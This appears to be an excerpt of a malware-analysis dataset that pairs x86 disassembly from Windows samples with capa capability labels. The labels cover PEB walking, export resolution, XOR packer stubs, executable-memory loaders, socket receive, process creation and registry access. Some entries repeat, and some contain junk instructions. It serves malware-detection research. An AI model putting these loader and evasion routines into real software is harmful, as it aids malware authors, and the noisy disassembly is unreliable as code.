joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4f89d3d6
Capabilities:
Access peb ldr_data

Disassembly:
add esp, 8
and dword [esp], ebx
push ecx
push edx
push edi
push esi
or edi, 0xffffffff
not edi
add edi, dword [ebp + 8]
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov ecx, dword [eax + 0xc]
push ecx
xor edx, edx
mov ecx, dword [ecx]
cmp ecx, dword [esp]
je 0x4f89d6ac
push ebp
push 0xffffffffffffffff
sub esp, 0x32
mov dword [esp + 0x2e], 0x73448895
add esp, 0x2e
sub esp, 4
mov dword [esp], 0x7343f85b
push 0xffffffffffffffff
call fcn.4f8945d6
xchg edx, eax
and eax, 0
add eax, 0x75d46dc4
push ecx
and ecx, 0xcfb6d7ec
mov ecx, esp
mov dword [ecx - 0x54], esi
pop ecx
ja 0x4f89d440
and eax, eax
xchg edx, eax
mov edx, dword [ecx + edx - 0x75d46dac]
call fcn.4f89d458
mov byte [0xee69f033], al
invalid
mov eax, ecx
pop esi
mov edi, dword [esp]
add esp, 4
pop edx
xor ecx, ecx
add ecx, 0xffffffff
and ecx, dword [esp]
xor ecx, 0
add esp, 4
pop ebx
mov esp, ebp
mov ebp, dword [esp]
add esp, 4
jno 0x4f89d6a0
xor eax, 0
ret 4
xor ecx, ecx
jmp 0x4f89d674
Function at 0x4f8acea6
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push ebx
push ecx
lea esp, [esp - 0x10]
mov dword [esp + 0xc], edx
lea esp, [esp + 0xc]
sub esp, 4
mov dword [esp], 0x8b92e34e
mov dword [esp], edi
push esi
mov eax, dword [ebp + 8]
and ax, 0xf001
dec eax
cmp word [eax], 0x5a4d
jne 0x4f8acec8
mov ebx, dword [eax + 0x3c]
cmp ebx, 0xf08
ja 0x4f8acec8
add ebx, eax
cmp dword [ebx], 0x4550
jne 0x4f8acec8
ret
cmp word [ebx + 4], 0x14c
jne 0x4f8acec8
test word [ebx + 0x16], 2
je 0x4f8acec8
test word [ebx + 0x16], 0x100
je 0x4f8acec8
cmp word [ebx + 0x18], 0x10b
jne 0x4f8acec8
mov edx, dword [ebx + 0x78]
cmp edx, 0
je 0x4f8acec8
lea edx, [eax + edx]
mov edx, dword [edx + 0xc]
push 0xe1641d81
call 0x4f8acf54
adc al, 0xbd
mov dl, 3
cmp byte [ecx + 0x75ac5ffe], 0xa
jnp 0x4f8acee8
int1
salc
push edi
inc esp
add esp, 8
lea edx, [edx + eax]
mov ebx, eax
push edx
call fcn.4f893e33
xchg ebx, eax
cmp ebx, dword [ebp + 0xc]
jne 0x4f8acec8
sub esp, 0x3e
mov esi, dword [esp + 0x3e]
add esp, 0x42
pop edi
mov edx, dword [esp]
add esp, 4
pop ecx
pop ebx
leave
ret 8

Function at 0x4f8acf54
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push ebx
push ecx
lea esp, [esp - 0x10]
mov dword [esp + 0xc], edx
lea esp, [esp + 0xc]
sub esp, 4
mov dword [esp], 0x8b92e34e
mov dword [esp], edi
push esi
mov eax, dword [ebp + 8]
and ax, 0xf001
dec eax
cmp word [eax], 0x5a4d
jne 0x4f8acec8
mov ebx, dword [eax + 0x3c]
cmp ebx, 0xf08
ja 0x4f8acec8
add ebx, eax
cmp dword [ebx], 0x4550
jne 0x4f8acec8
ret
cmp word [ebx + 4], 0x14c
jne 0x4f8acec8
test word [ebx + 0x16], 2
je 0x4f8acec8
test word [ebx + 0x16], 0x100
je 0x4f8acec8
cmp word [ebx + 0x18], 0x10b
jne 0x4f8acec8
mov edx, dword [ebx + 0x78]
cmp edx, 0
je 0x4f8acec8
lea edx, [eax + edx]
mov edx, dword [edx + 0xc]
push 0xe1641d81
call 0x4f8acf54
adc al, 0xbd
mov dl, 3
cmp byte [ecx + 0x75ac5ffe], 0xa
jnp 0x4f8acee8
int1
salc
push edi
inc esp
add esp, 8
lea edx, [edx + eax]
mov ebx, eax
push edx
call fcn.4f893e33
xchg ebx, eax
cmp ebx, dword [ebp + 0xc]
jne 0x4f8acec8
sub esp, 0x3e
mov esi, dword [esp + 0x3e]
add esp, 0x42
pop edi
mov edx, dword [esp]
add esp, 4
pop ecx
pop ebx
leave
ret 8
Function at 0x4f8ad00b
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push 0
push ecx
xor ecx, ecx
jne 0x4f8ad064
mov ecx, esp
xor dword [ecx - 0x55], edi
pop ecx
call 0x4f8ad00b
dec esp
adc eax, 0x91b81b2a
div bh
int 0x82
xchg ebx, eax
ror cl, 1
into
out dx, eax
call 0x4f8ad01a
cld
test edx, ebx
or ebp, eax
add dword [esi - 0x7cc26b19], esp
les ecx, [eax]
or dword [esp], ebp
mov ebp, esp
sub esp, 0x100
push ebx
push edx
push ecx
push edi
push esi
mov ebx, dword [ebp + 8]
mov edx, ebx
add ebx, dword [ebx + 0x3c]
mov ebx, dword [ebx + 0x78]
lea ebx, [ebx + edx]
mov eax, dword [ebx + 0x24]
add eax, edx
xor edi, edi
jne 0x4fcb2cbd
or edi, dword [ebx + 0x20]
add edi, edx
mov ecx, dword [ebx + 0x18]
mov esi, dword [edi]
add esi, edx
push 0
push ecx
mov ecx, esp
push 0x55d34c8a
call 0x4f8ad06b
sti
sbb byte [ecx + 0x56], dh
xlatb
les ebp, [ebp + 0x8c483e2]
xchg dword [ecx + 4], eax
xor eax, edx
shl eax, 3
xor ecx, 0
shl eax, 0x1d
add eax, dword [ecx + 4]
pop ecx
push esi
call fcn.4f893ee1
cmp eax, dword [ebp + 0xc]
pop eax
je 0x4f8ad10a
add edi, 4
add eax, 2
dec ecx
jne 0x4f8ad050
call 0x4f8ad0b7
loope 0x4f8ad0ad
invalid
sbb esi, ebx
mov edi, 0xdbead58c
js 0x4f8ad107
mov dh, 0xe8
or byte [eax], al
add byte [eax], al
mov bh, 0x24
lea eax, [edx + 0x53]
nop
mov dword [esi + 0x2308c483], ecx
sal byte [ecx], 0xc0
fsub st(7)
int 0xf
mov bh, 0
movzx eax, word [eax]
jmp 0x4f8ad118
shl eax, 2
add eax, dword [ebx + 0x1c]
add eax, edx
mov eax, dword [eax]
add eax, edx
mov ebx, edx
add ebx, dword [edx + 0x3c]
mov ecx, dword [ebx + 0x7c]
mov ebx, dword [ebx + 0x78]
add ebx, edx
add ecx, ebx
cmp eax, ebx
jb 0x4f8ad0cb
cmp eax, ecx
ja 0x4f8ad0cb
mov esi, eax
lea edi, [ebp - 0x100]
mov al, byte [esi]
mov byte [edi], al
inc edi
inc esi
js 0x4f8ad155
or ecx, ecx
xor dword [esp - 0x6b], eax
cmp al, 0x2e
jne 0x4f8ad14b
lea edi, [ebp - 0x100]
push 0x100
push edi
push esi
call fcn.4f8943c0
lea esp, [esp - 0x60]
mov dword [esp + 0x5c], edi
lea esp, [esp + 0x5c]
Function at 0x4f8ad01a
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push 0
push ecx
xor ecx, ecx
jne 0x4f8ad064
mov ecx, esp
xor dword [ecx - 0x55], edi
pop ecx
call 0x4f8ad00b
dec esp
adc eax, 0x91b81b2a
div bh
int 0x82
xchg ebx, eax
ror cl, 1
into
out dx, eax
call 0x4f8ad01a
cld
test edx, ebx
or ebp, eax
add dword [esi - 0x7cc26b19], esp
les ecx, [eax]
or dword [esp], ebp
mov ebp, esp
sub esp, 0x100
push ebx
push edx
push ecx
push edi
push esi
mov ebx, dword [ebp + 8]
mov edx, ebx
add ebx, dword [ebx + 0x3c]
mov ebx, dword [ebx + 0x78]
lea ebx, [ebx + edx]
mov eax, dword [ebx + 0x24]
add eax, edx
xor edi, edi
jne 0x4fcb2cbd
or edi, dword [ebx + 0x20]
add edi, edx
mov ecx, dword [ebx + 0x18]
mov esi, dword [edi]
add esi, edx
push 0
push ecx
mov ecx, esp
push 0x55d34c8a
call 0x4f8ad06b
sti
sbb byte [ecx + 0x56], dh
xlatb
les ebp, [ebp + 0x8c483e2]
xchg dword [ecx + 4], eax
xor eax, edx
shl eax, 3
xor ecx, 0
shl eax, 0x1d
add eax, dword [ecx + 4]
pop ecx
push esi
call fcn.4f893ee1
cmp eax, dword [ebp + 0xc]
pop eax
je 0x4f8ad10a
add edi, 4
add eax, 2
dec ecx
jne 0x4f8ad050
call 0x4f8ad0b7
loope 0x4f8ad0ad
invalid
sbb esi, ebx
mov edi, 0xdbead58c
js 0x4f8ad107
mov dh, 0xe8
or byte [eax], al
add byte [eax], al
mov bh, 0x24
lea eax, [edx + 0x53]
nop
mov dword [esi + 0x2308c483], ecx
sal byte [ecx], 0xc0
fsub st(7)
int 0xf
mov bh, 0
movzx eax, word [eax]
jmp 0x4f8ad118
shl eax, 2
add eax, dword [ebx + 0x1c]
add eax, edx
mov eax, dword [eax]
add eax, edx
mov ebx, edx
add ebx, dword [edx + 0x3c]
mov ecx, dword [ebx + 0x7c]
mov ebx, dword [ebx + 0x78]
add ebx, edx
add ecx, ebx
cmp eax, ebx
jb 0x4f8ad0cb
cmp eax, ecx
ja 0x4f8ad0cb
mov esi, eax
lea edi, [ebp - 0x100]
mov al, byte [esi]
mov byte [edi], al
inc edi
inc esi
js 0x4f8ad155
or ecx, ecx
xor dword [esp - 0x6b], eax
cmp al, 0x2e
jne 0x4f8ad14b
lea edi, [ebp - 0x100]
push 0x100
push edi
push esi
call fcn.4f8943c0
lea esp, [esp - 0x60]
mov dword [esp + 0x5c], edi
lea esp, [esp + 0x5c]

Function at 0x432003
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
mov eax, section..rsrc
nop
mov ebx, 0x40c7d0
nop
mov ecx, 0x67b515d1
nop
nop
test eax, eax
nop
nop
nop
je 0x43204e
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
jne 0x432024
nop
mov eax, section..data
mov ebx, 0x42f314
nop
mov ecx, 0x3c9d0c0f
nop
nop
nop
nop
nop
test eax, eax
nop
nop
je 0x432084
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
add eax, 4
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x43206c
nop
nop
nop
nop
nop
nop
popal
nop
jmp 0x431219
Function at 0x401c57
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
pushal
call 0x401c66
pop dword [ebp - 0x1c]
mov eax, 0x4a5fd51c
sub eax, 0x4a1fb8b6
sub dword [ebp - 0x1c], eax
mov dword [ebp - 0x2c], 0x7682411
sub dword [ebp - 0x2c], 0xb915dec6
mov dword [ebp - 0x28], 0xb47e17da
sub dword [ebp - 0x28], 0x824acb95
mov dword [ebp - 0x24], 0xd6faee1c
sub dword [ebp - 0x24], 0x8aaea9ee
mov dword [ebp - 0x20], 0xa9d0458f
sub dword [ebp - 0x20], 0xa9d0458f
lea eax, [ebp - 0x2c]
push eax
mov eax, 0x9f932a8c
sub eax, 0x9f52fa38
add eax, dword [ebp - 0x1c]
call dword [eax]
mov dword [ebp - 0x2c], 0x203515c6
sub dword [ebp - 0x2c], 0xabc2ac70
mov dword [ebp - 0x28], 0x6b1cdf67
sub dword [ebp - 0x28], 0x29b07df2
mov dword [ebp - 0x24], 0x589549bd
sub dword [ebp - 0x24], 0xf525dd51
mov dword [ebp - 0x20], 0x6cf5c4e8
add dword [ebp - 0x20], 0x930a3b18
lea ebx, [ebp - 0x2c]
push ebx
push eax
mov eax, 0xbb1c1ed4
sub eax, 0xbadbeea8
add eax, dword [ebp - 0x1c]
call dword [eax]
push 0x40
push 0x1000
push 0x37fce
push 0
call eax
mov ecx, 0xf9fa6247
sub ecx, 0xf9fa1440
xor edi, edi
add edi, eax
mov esi, 0x407000
add esi, dword [ebp - 0x1c]
mov ebx, 0x6c49c246
sub ebx, 0x7bb5f09
mov edx, dword [esi]
mov dword [ebp - 0x18], 0x33c46ccc
sub edx, ebx
sub dword [ebp - 4], 0x114e948a
mov dword [edi], edx
xor dword [ebp - 0x14], 0xf6b5fe93
add edi, 4
add esi, 0x84cb62e2
add esi, 0x7b349d22
loop 0x401d84
add eax, 0x12aef
xor ebx, ebx
add ebx, eax
add eax, 0x5d2537c8
sub eax, 0x5d2537c3
mov ecx, 0xc509df5e
add ecx, 0x3b3620a2
add ecx, dword [ebp - 0x1c]
call ebx
leave
ret

Function at 0x401fb2
Capabilities:
Delete file
Move file

Disassembly:
mov ecx, 0x404f28
jmp fcn.0040170c

Function at 0x401ff6
Capabilities:
Check if file exists
Delete directory
Get file attributes

Disassembly:
push esi
mov esi, 0x404f28
push esi
call dword [sym.imp.kernel32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x402013
push esi
call dword [sym.imp.kernel32.dll_RemoveDirectoryW]
test eax, eax
je 0x402018
push 1
pop eax
pop esi
ret
call fcn.00401fb2
pop esi
ret
Function at 0x433000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
nop
nop
nop
nop
push 4
pop edi
nop
nop
nop
nop
nop
nop
cmp eax, 0
nop
nop
nop
nop
nop
je 0x433072
nop
nop
mov ebx, 0x40de38
nop
mov ecx, ebx
nop
nop
nop
nop
nop
nop
nop
sub ecx, eax
xor edx, edx
nop
nop
nop
nop
nop
nop
nop
nop
push eax
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
div edi
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
pop eax
nop
nop
nop
mov esi, 0x327168f4
xor dword [eax], esi
nop
nop
nop
nop
nop
add eax, edi
nop
nop
nop
nop
nop
nop
loop 0x433060
nop
nop
mov eax, section..data
nop
cmp eax, 0
nop
nop
nop
nop
nop
nop
je 0x4330d2
nop
mov ebx, 0x4304d8
nop
mov ecx, ebx
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
push eax
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
nop
nop
div edi
nop
nop
xchg ecx, eax
nop
nop
nop
pop eax
nop
nop
nop
nop
nop
nop
mov esi, 0x3764485d
nop
nop
nop
xor dword [eax], esi
nop
nop
add eax, edi
nop
nop
nop
loop 0x4330c0
nop
nop
nop
nop
nop
nop
popal
nop
nop
nop
jmp 0x431219
Function at 0x40119c
Capabilities:
Receive data
Receive data on socket

Disassembly:
lea eax, [ebp - 0x64]
push eax
push dword [ebp - 0x78]
mov dword [ebp - 0x80], 0x10
call dword [sym.imp.WSOCK32.dll_accept]
mov esi, eax
cmp esi, 0xffffffff
jne 0x4011bb
push 6
jmp 0x401205
push 0
push 6
lea eax, [ebp + 0xfac]
push eax
push esi
call dword [sym.imp.WSOCK32.dll_recv]
cmp eax, 6
je 0x4011d6
push 7
jmp 0x401205
lea eax, [ebp + 0xfac]
push eax
call fcn.0040eda5
pop ecx
mov dword [section..data], eax
test eax, eax
jg 0x4011f0
push 8
jmp 0x401205
push esi
call 0x4087a3
push dword [ebp - 0x78]
call 0x4087a3
pop ecx
xor eax, eax
jmp 0x40120a
call fcn.00409c9d
pop ecx
pop esi
mov ecx, dword [ebp + 0xfb4]
xor ecx, ebp
pop edi
call fcn.0040e3bf
add ebp, 0xfb8
leave
ret

Function at 0x402680
Capabilities:
Generate random numbers using the delphi lcg

Disassembly:
push ebx
xor ebx, ebx
imul edx, dword [ebx + 0x409008], 0x8088405
inc edx
mov dword [ebx + 0x409008], edx
mul edx
mov eax, edx
pop ebx
ret

Function at 0x407080
Capabilities:
Encode data using xor

Disassembly:
push ebx
push esi
mov esi, eax
mov eax, dword [0x409214]
mov dword [eax], ecx
mov ebx, edx
test ebx, ebx
jle 0x4070a1
mov eax, 0xff
call fcn.00402680
xor byte [esi], al
inc esi
dec ebx
jne 0x407091
pop esi
pop ebx
ret

Function at 0x40b0b6
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x58
push esi
push edi
push 0x44
xor esi, esi
lea eax, [ebp - 0x58]
push esi
push eax
call fcn.0040fa70
xor eax, eax
lea edi, [ebp - 0x14]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
xor eax, eax
add esp, 0xc
mov word [ebp - 0x28], ax
lea eax, [ebp - 4]
xor edi, edi
push eax
inc edi
push 0x2000000
mov dword [ebp - 0x58], 0x44
mov dword [ebp - 0x2c], edi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x40b12f
cmp dword [ebp + 8], esi
je 0x40b12f
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x58]
push eax
push esi
push esi
push 0x8000008
push esi
push esi
push esi
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_CreateProcessAsUserW]
cmp eax, esi
jne 0x40b133
xor eax, eax
jmp 0x40b151
push dword [ebp + 0x10]
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push dword [ebp - 0x14]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [ebp - 0x10]
call esi
mov eax, edi
pop edi
pop esi
leave
ret
Function at 0x40b360
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
lea ebp, [esp - 0xf8c]
mov eax, 0x100c
call fcn.0040edb0
mov eax, dword [0x433960]
xor eax, ebp
mov dword [ebp + 0xf88], eax
push esi
mov esi, dword [ebp + 0xf9c]
push edi
mov edi, dword [ebp + 0xf94]
xor eax, eax
push 0x7fe
push eax
mov word [ebp + 0x788], ax
lea eax, [ebp + 0x78a]
push eax
call fcn.0040fa70
push edi
push str.SOFTWAREClassesCLSID_sInprocServer32
lea eax, [ebp + 0x788]
push 0x400
push eax
call fcn.0040f8c4
add esp, 0x1c
lea eax, [ebp - 0x7c]
push eax
push 0x20019
neg esi
push 0
lea eax, [ebp + 0x788]
sbb esi, esi
push eax
add esi, reloc.OLEAUT32.dll_SysReAllocString
push esi
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
pop edi
pop esi
test eax, eax
je 0x40b3f5
xor ecx, ecx
cmp eax, 2
sete cl
jmp 0x40b464
lea eax, [ebp - 0x80]
push eax
lea eax, [ebp - 0x78]
push eax
push 0x427c2c
push dword [ebp - 0x7c]
mov dword [ebp - 0x80], 0x800
call dword [sym.imp.ADVAPI32.dll_RegQueryValueW]
push dword [ebp - 0x7c]
test eax, eax
je 0x40b423
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
jmp 0x40b466
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [ebp + 0xf98]
lea ecx, [ebp - 0x78]
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x40b458
test dx, dx
je 0x40b454
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x40b458
add eax, 4
add ecx, 4
test dx, dx
jne 0x40b432
xor eax, eax
jmp 0x40b45d
sbb eax, eax
sbb eax, 0xffffffff
xor ecx, ecx
test eax, eax
setne cl
mov eax, ecx
mov ecx, dword [ebp + 0xf88]
xor ecx, ebp
call fcn.0040e3bf
add ebp, 0xf8c
leave
ret

Function at 0x40c569
Capabilities:
Query or enumerate registry key

Disassembly:
push ebp
lea ebp, [esp - 0x1a0]
sub esp, 0x220
mov eax, dword [0x433960]
xor eax, ebp
mov dword [ebp + 0x19c], eax
mov eax, dword [ebp + 0x1a8]
push ebx
push esi
push edi
mov edi, ecx
mov ecx, dword [edi + 4]
or ecx, 0x2001f
push ecx
push eax
push dword [edi]
xor esi, esi
lea ecx, [ebp - 0x74]
mov dword [ebp - 0x78], eax
mov dword [ebp - 0x74], esi
mov dword [ebp - 0x70], esi
mov dword [ebp - 0x6c], esi
call int.0040ab21
mov ebx, eax
cmp ebx, esi
je 0x40c5dc
lea ecx, [ebp - 0x74]
call fcn.0040ab06
mov eax, ebx
mov ecx, dword [ebp + 0x19c]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040e3bf
add ebp, 0x1a0
leave
ret 4
mov ebx, dword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
jmp 0x40c5f4
lea eax, [ebp - 0x64]
push eax
lea ecx, [ebp - 0x74]
call fcn.0040c569
cmp eax, esi
jne 0x40c626
lea eax, [ebp - 0x80]
push eax
push esi
push esi
push esi
lea eax, [ebp - 0x68]
push eax
lea eax, [ebp - 0x64]
push eax
push esi
push dword [ebp - 0x74]
mov dword [ebp - 0x68], 0x100
call ebx
test eax, eax
je 0x40c5e4
lea ecx, [ebp - 0x74]
call fcn.0040ab06
push dword [ebp - 0x78]
mov ecx, edi
call fcn.0040aa97
lea ecx, [ebp - 0x74]
mov esi, eax
call fcn.0040ab06
mov eax, esi
jmp 0x40c5c2
Function at 0x40c92e
Capabilities:
Print debug messages

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1044
call fcn.0040edb0
mov eax, dword [0x433960]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 0xc]
push esi
push edi
mov edi, dword [ebp + 8]
xor eax, eax
mov esi, 0x7fe
push esi
push eax
mov word [ebp - 0x1044], ax
lea eax, [ebp - 0x1042]
push eax
call fcn.0040fa70
push ebx
push edi
push 0xffffffffffffffff
lea eax, [ebp - 0x1044]
push 0x400
push eax
call fcn.0041382a
add esp, 0x20
test eax, eax
jns 0x40c98f
xor eax, eax
mov word [ebp - 0x846], ax
xor eax, eax
push 0x3e
push eax
mov word [ebp - 0x44], ax
lea eax, [ebp - 0x42]
push eax
call fcn.0040fa70
lea eax, [ebp - 0x44]
push 0x20
push eax
call fcn.0040c8b0
push 0x428014
lea eax, [ebp - 0x44]
push 0x20
push eax
call fcn.00412962
xor eax, eax
push esi
push eax
mov word [ebp - 0x844], ax
lea eax, [ebp - 0x842]
push eax
call fcn.0040fa70
add esp, 0x2c
mov eax, edi
push 2
lea edx, [eax + 2]
pop ebx
mov cx, word [eax]
add eax, ebx
test cx, cx
jne 0x40c9de
sub eax, edx
sar eax, 1
cmp eax, 6
jbe 0x40ca2e
mov ecx, 0x428018
lea eax, [edi + eax*2 - 0xc]
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x40ca20
test dx, dx
je 0x40ca1c
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x40ca20
add eax, 4
add ecx, 4
test dx, dx
jne 0x40c9fa
xor eax, eax
jmp 0x40ca25
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x40ca2e
xor esi, esi
inc esi
jmp 0x40ca30
xor esi, esi
lea eax, [ebp - 0x44]
lea edx, [eax + 2]
mov cx, word [eax]
add eax, ebx
test cx, cx
jne 0x40ca36
sub eax, edx
sar eax, 1
mov edi, eax
mov eax, str.Error:
test esi, esi
jne 0x40ca54
mov eax, 0x428038
lea ecx, [ebp - 0x1044]
push ecx
push eax
lea esi, [edi + edi]
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
push eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push eax
push str.P:_04d_T:_04d__s_s
mov eax, 0x3ff
sub eax, edi
push 0xffffffffffffffff
push eax
lea eax, [ebp + esi - 0x844]
push eax
call fcn.0040f8e2
add esp, 0x20
test eax, eax
jns 0x40caa5
xor eax, eax
movzx ecx, word [eax + 0x428064]
mov word [ebp + eax - 0x4e], cx
add eax, ebx
test cx, cx
jne 0x40ca92
push esi
lea eax, [ebp - 0x44]
push eax
lea eax, [ebp - 0x844]
push eax
call fcn.00413850
lea edi, [ebp - 0x844]
add esp, 0xc
sub edi, 2
mov ax, word [edi + 2]
add edi, ebx
test ax, ax
jne 0x40cac2
lea eax, [ebp - 0x844]
mov esi, 0x42806c
push eax
movsd dword es:[edi], dword [esi]
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040e3bf
leave
ret
Function at 0x40cb68
Capabilities:
Query or enumerate registry key
Query or enumerate registry value

Disassembly:
push ebp
lea ebp, [esp - 0x3f9c]
mov eax, 0x401c
call fcn.0040edb0
mov eax, dword [0x433960]
xor eax, ebp
mov dword [ebp + 0x3f98], eax
mov eax, dword [ebp + 0x3fa4]
push ebx
push esi
push edi
mov dword [ebp - 0x74], eax
xor esi, esi
xor eax, eax
mov ebx, 0xffe
mov dword [ebp - 0x78], esi
push ebx
mov word [ebp + 0x2f98], ax
lea eax, [ebp + 0x2f9a]
push esi
push eax
mov dword [ebp - 0x70], esi
call fcn.0040fa70
xor eax, eax
push ebx
mov word [ebp - 0x68], ax
lea eax, [ebp - 0x66]
push esi
push eax
call fcn.0040fa70
add esp, 0x18
lea eax, [ebp - 0x80]
push eax
push 0x20019
push esi
push 0x4281d0
mov edi, 0x800
push reloc.OLEAUT32.dll_SysReAllocString
mov dword [ebp - 0x6c], edi
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x40ccd1
push esi
push esi
push esi
push esi
lea eax, [ebp - 0x6c]
push eax
lea eax, [ebp + 0x2f98]
push eax
push esi
jmp 0x40ccc0
lea eax, [ebp + 0x2f98]
push eax
push 0x428228
push 0x428280
lea eax, [ebp - 0x68]
push edi
push eax
call fcn.0040f8c4
add esp, 0x14
lea eax, [ebp - 0x7c]
push eax
push 0x20019
push esi
lea eax, [ebp - 0x68]
push eax
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x40cca8
push ebx
mov word [ebp + 0xf98], ax
lea eax, [ebp + 0xf9a]
push esi
push eax
call fcn.0040fa70
add esp, 0xc
lea eax, [ebp - 0x6c]
push eax
lea eax, [ebp + 0xf98]
push eax
lea eax, [ebp - 0x78]
push eax
push esi
push 0x42828c
push dword [ebp - 0x7c]
mov dword [ebp - 0x6c], edi
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x40cca8
cmp dword [ebp - 0x6c], esi
jbe 0x40cca8
lea eax, [ebp - 0x6c]
push eax
lea eax, [ebp + 0x1f98]
push eax
lea eax, [ebp - 0x78]
push eax
push esi
push 0x4282a4
push dword [ebp - 0x7c]
mov dword [ebp - 0x6c], edi
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
inc dword [ebp - 0x70]
push esi
push esi
push esi
push esi
lea eax, [ebp - 0x6c]
push eax
lea eax, [ebp + 0x2f98]
push eax
push dword [ebp - 0x70]
mov dword [ebp - 0x6c], edi
push dword [ebp - 0x80]
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
test eax, eax
je 0x40cc0a
mov ecx, dword [ebp - 0x74]
lea eax, [ebp + 0x1f98]
push eax
call fcn.0040c634
mov ecx, dword [ebp + 0x3f98]
mov eax, dword [ebp - 0x74]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040e3bf
add ebp, 0x3f9c
leave
ret

Function at 0x40d147
Capabilities:
Check os version

Disassembly:
push ebp
lea ebp, [esp - 0x98]
sub esp, 0x118
mov eax, dword [0x433960]
xor eax, ebp
mov dword [ebp + 0x94], eax
cmp dword [0x448b1c], 0
je 0x40d172
mov eax, dword [0x448b18]
jmp 0x40d1b6
push 0x114
lea eax, [ebp - 0x80]
push 0
push eax
call fcn.0040fa70
add esp, 0xc
lea eax, [ebp - 0x80]
push eax
mov dword [ebp - 0x80], 0x114
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
xor ecx, ecx
inc ecx
cmp dword [ebp - 0x70], 2
jne 0x40d1a9
cmp dword [ebp - 0x7c], 6
jb 0x40d1a9
mov eax, ecx
jmp 0x40d1ab
xor eax, eax
mov dword [0x448b18], eax
mov dword [0x448b1c], ecx
mov ecx, dword [ebp + 0x94]
xor ecx, ebp
call fcn.0040e3bf
add ebp, 0x98
leave
ret
Function at 0x40d549
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
push edi
xor edi, edi
mov dword [ebp - 4], edi
call fcn.0040d3fa
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_lstrlenW]
lea esi, [eax + eax + 2]
call fcn.0040d147
test eax, eax
mov eax, dword [str.SOFTWAREAppDataLowSOFTWAREJavaSoftDeploymentPropertiespending]
jne 0x40d579
mov eax, dword [str.SOFTWAREJavaSoftDeploymentPropertiespending]
lea ecx, [ebp - 4]
push ecx
push 0x20006
push edi
push eax
push reloc.WSOCK32.dll_accept
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
je 0x40d599
xor eax, eax
pop edi
pop esi
leave
ret
push esi
push dword [ebp + 0xc]
push 1
push edi
push dword [ebp + 8]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
je 0x40d5bd
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, edi
jmp 0x40d595
xor edi, edi
inc edi
jmp 0x40d5b0

Function at 0x40e3bf
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x433960]
jne 0x40e3c9
repz ret
jmp fcn.004147fc

Function at 0x41ccf2
Capabilities:
Check if file exists
Get file attributes

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
xor esi, esi
cmp dword [ebp + 8], esi
jne 0x41cd19
call fcn.0041105c
mov dword [eax], esi
